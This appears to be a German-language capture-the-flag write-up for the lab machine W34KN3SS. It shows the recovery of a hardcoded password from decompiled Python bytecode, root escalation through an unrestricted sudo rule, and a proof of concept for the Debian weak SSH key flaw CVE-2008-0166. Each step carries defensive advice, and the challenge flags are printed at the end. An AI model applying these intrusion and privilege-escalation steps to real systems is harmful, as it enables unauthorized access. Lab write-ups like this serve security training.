Bewertung: Der Code konstruiert zeichenweise den String `n30:dMASDNB!!#B!#!#33` und berechnet dann einen SHA256-Hash davon, wobei die aktuelle Zeit (`time.ctime()`) hinzugefügt wird. Der Hash selbst ist hier nicht das Ziel, sondern der hartkodierte String-Teil, der sehr wahrscheinlich das Passwort für den Benutzer `n30` enthält: `dMASDNB!!#B!#!#33`.
Empfehlung (Offensiv): Das gefundene Passwort `dMASDNB!!#B!#!#33` verwenden, um `sudo -l` als `n30` auszuführen.
Empfehlung (Defensiv): Niemals Passwörter oder sensible Daten hartkodiert in Skripten oder kompiliertem Code speichern. `.pyc`-Dateien bieten keine Sicherheit vor Reverse Engineering.

# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
[...]
# Embedded file name: code.py
# Compiled at: 2018-05-08 23:50:54
import os, socket, time, hashlib
print ('[+]System Started at : {0}').format(time.ctime())
print '[+]This binary should generate unique hash for the hardcoded login info'
print '[+]Generating the hash ..'
inf = ''
inf += chr(ord('n'))
inf += chr(ord('3'))
inf += chr(ord('0'))
inf += chr(ord(':'))
inf += chr(ord('d'))
inf += chr(ord('M'))
inf += chr(ord('A'))
inf += chr(ord('S'))
inf += chr(ord('D'))
inf += chr(ord('N'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('3'))
inf += chr(ord('3'))
hashf = hashlib.sha256(inf + time.ctime()).hexdigest()
print ('[+]Your new hash is : {0}').format(hashf)
print '[+]Done'

Analyse: Versuch, das Passwort aus der dekompilierten Ausgabe zu extrahieren.
Bewertung: Der Befehl `cat code.txt | tr "'" " " | awk {'print $4'}` extrahiert den relevanten Teil `dMASDNB!!#B!#!#33`.

┌──(root㉿CCat)-[~/weakness]
└─# cat code.txt | tr "'" " " | awk {'print $4'}
[...]
n
3
0
:
d
M
A
S
D
N
B
!
!
#
B
!
#
!
#
3
3
+
[...]
Passwort: dMASDNB!!#B!#!#33

Privilege Escalation (Sudo)

Analyse: Der Befehl `sudo -l` wird erneut als Benutzer `n30` ausgeführt. Diesmal wird das aus dem Python-Code extrahierte Passwort `dMASDNB!!#B!#!#33` eingegeben.
Bewertung: Die Authentifizierung ist erfolgreich! Die Ausgabe zeigt, dass `n30` den Befehl `(ALL : ALL) ALL` ausführen darf. Das bedeutet volle `sudo`-Rechte ohne Einschränkungen.
Empfehlung (Offensiv): `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. Benutzern nur die spezifischen `sudo`-Befehle erlauben, die sie benötigen, niemals `(ALL : ALL) ALL`, es sei denn, es ist absolut unvermeidbar (z.B. für Hauptadministratoren).

n30@W34KN3SS$ sudo -l
[sudo] password for n30: dMASDNB!!#B!#!#33
Matching Defaults entries for n30 on W34KN3SS:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User n30 may run the following commands on W34KN3SS:
    (ALL : ALL) ALL

Analyse: Der Befehl `sudo su` wird ausgeführt.
Bewertung: Da `n30` volle `sudo`-Rechte hat, wird dieser Befehl erfolgreich ausgeführt und startet eine Root-Shell, angezeigt durch den Prompt `root@W34KN3SS:/home/n30#`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der uneingeschränkten `sudo`-Rechte wurden volle Root-Privilegien erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen, um die Root-Flag zu lesen und das System vollständig zu kontrollieren.
Empfehlung (Defensiv): `sudo`-Rechte restriktiv vergeben.

n30@W34KN3SS$ sudo su
root@W34KN3SS:/home/n30#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Debian Weak Key - CVE-2008-0166)

Schwachstelle: CVE-2008-0166 - Eine Schwachstelle im Pseudozufallszahlengenerator (PRNG) von OpenSSL auf Debian-basierten Systemen (zwischen September 2006 und Mai 2008) führte dazu, dass nur eine sehr begrenzte Anzahl von SSH-Schlüsseln generiert wurde. Wenn ein auf einem solchen System generierter öffentlicher Schlüssel auf einem Server verwendet wird, kann ein Angreifer durch Abgleich mit einer bekannten Liste schwacher Schlüssel den zugehörigen privaten Schlüssel finden.
Ziel des POC: Nachweis, dass durch Finden des schwachen öffentlichen Schlüssels (`mykey.pub`) auf dem Webserver und Abgleich mit einer Liste vorkalkulierter schwacher Schlüssel der zugehörige private Schlüssel identifiziert und für den SSH-Login als Benutzer `n30` verwendet werden kann.
Voraussetzungen: Zugriff auf den öffentlichen Schlüssel (`mykey.pub`) und den Hinweis auf die verwundbare OpenSSL-Version. Zugriff auf die Sammlung schwacher Debian-SSH-Schlüssel. SSH-Zugang zum Zielserver muss für den Benutzer `n30` mit Schlüsselauthentifizierung erlaubt sein.

Schritt 1: Auffinden des öffentlichen Schlüssels und des Hinweises

Analyse: Durch Web-Enumeration (`dirb http://weakness.jth/`) wurde das Verzeichnis `/private/files` gefunden, das `mykey.pub` und `notes.txt` enthält. `notes.txt` enthielt den Hinweis "this key was generated by openssl 0.9.8c-1".

Schritt 2: Identifizierung des privaten Schlüssels

Analyse: Die Sammlung schwacher Debian-SSH-Schlüssel (5622.tar.bz2) wurde heruntergeladen und entpackt. Der Inhalt von `mykey.pub` wurde mittels `grep` in den entpackten öffentlichen Schlüsseln gesucht.
Bewertung: `grep` identifizierte die Datei `rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub` als Übereinstimmung. Der dazugehörige private Schlüssel ist `rsa/2048/4161de56829de2fe64b9055711f531c1-2537`.

Schritt 3: SSH-Login mit dem schwachen Schlüssel

Analyse: Der Befehl `ssh -i rsa/2048/4161de56829de2fe64b9055711f531c1-2537 n30@192.168.2.155` wurde verwendet.
Bewertung: Der SSH-Login war erfolgreich, ohne dass ein Passwort benötigt wurde. Dies beweist, dass der gefundene private Schlüssel gültig war und zum öffentlichen Schlüssel auf dem Server passte.
Ergebnis des POC: Die Debian OpenSSL Weak Key Schwachstelle wurde erfolgreich ausgenutzt, um Zugriff auf das System als Benutzer `n30` zu erlangen.
Risikobewertung: Hoch (wenn ein schwacher Schlüssel verwendet wird). Ermöglicht unauthentifizierten Zugriff.
Empfehlung (Defensiv): Sicherstellen, dass keine schwachen Debian-SSH-Schlüssel mehr im Einsatz sind. Alle Schlüssel, die auf potenziell betroffenen Systemen generiert wurden, sollten neu generiert werden. Server sollten so konfiguriert werden, dass sie bekannte schwache Schlüssel ablehnen (z.B. über Blacklists in `sshd_config`). Das Betriebssystem und OpenSSL auf aktuelle, gepatchte Versionen aktualisieren.

Proof of Concept (Sudo Escalation)

Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `n30` erlaubt, beliebige Befehle als beliebiger Benutzer auszuführen (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass der Benutzer `n30`, nachdem er sein Passwort erlangt hat, diese `sudo`-Regel missbrauchen kann, um volle Root-Rechte zu erhalten.
Voraussetzungen: Zugriff als Benutzer `n30`. Kenntnis des Passworts für `n30` (`dMASDNB!!#B!#!#33`). Die fehlerhafte `sudoers`-Regel.

Schritt 1: Passwortfindung

Analyse: Im Home-Verzeichnis von `n30` wurde die Datei `code` gefunden. Diese wurde als kompilierte Python-Datei (`code.pyc`) identifiziert. Nach dem Download wurde sie dekompiliert.
Bewertung: Der dekompilierte Code enthielt das hartkodierte Passwort `dMASDNB!!#B!#!#33` für den Benutzer `n30`.

Schritt 2: Überprüfung der Sudo-Rechte

Analyse: Der Befehl `sudo -l` wurde als `n30` mit dem gefundenen Passwort ausgeführt.
Bewertung: Die Ausgabe `(ALL : ALL) ALL` bestätigte die uneingeschränkten `sudo`-Privilegien.

Schritt 3: Ausnutzung der Sudo-Rechte

Analyse: Der Befehl `sudo su` wurde ausgeführt.
Bewertung: Da `n30` alle Befehle als Root ausführen darf, startet `sudo su` erfolgreich eine Root-Shell.
Ergebnis des POC: Die unsichere `sudoers`-Regel wurde, nach Erlangen des Benutzerpassworts, erfolgreich ausgenutzt, um volle Root-Rechte zu erlangen.
Risikobewertung: Kritisch (sobald das Passwort bekannt ist). Ermöglicht vollständige Systemübernahme.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei der Vergabe von `sudo`-Privilegien strikt anwenden. `(ALL : ALL) ALL` nur für dedizierte Hauptadministratoren verwenden. Passwörter niemals hartkodiert speichern. Regelmäßige Überprüfung der `sudoers`-Datei.

Flags

Analyse: Die User-Flag wurde im Home-Verzeichnis von `n30` gefunden. Nach Erlangung der Root-Rechte wurde das Root-Home-Verzeichnis (`/root`) untersucht und die Root-Flag gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

n30@W34KN3SS$ cat user.txt
25e3cd678875b601425c9356c8039f68
root@W34KN3SS:/home/n30# cd ~
root@W34KN3SS:~# ls
root.txt
root@W34KN3SS:~# cat root.txt
a1d2fab76ec6af9b651d4053171e042e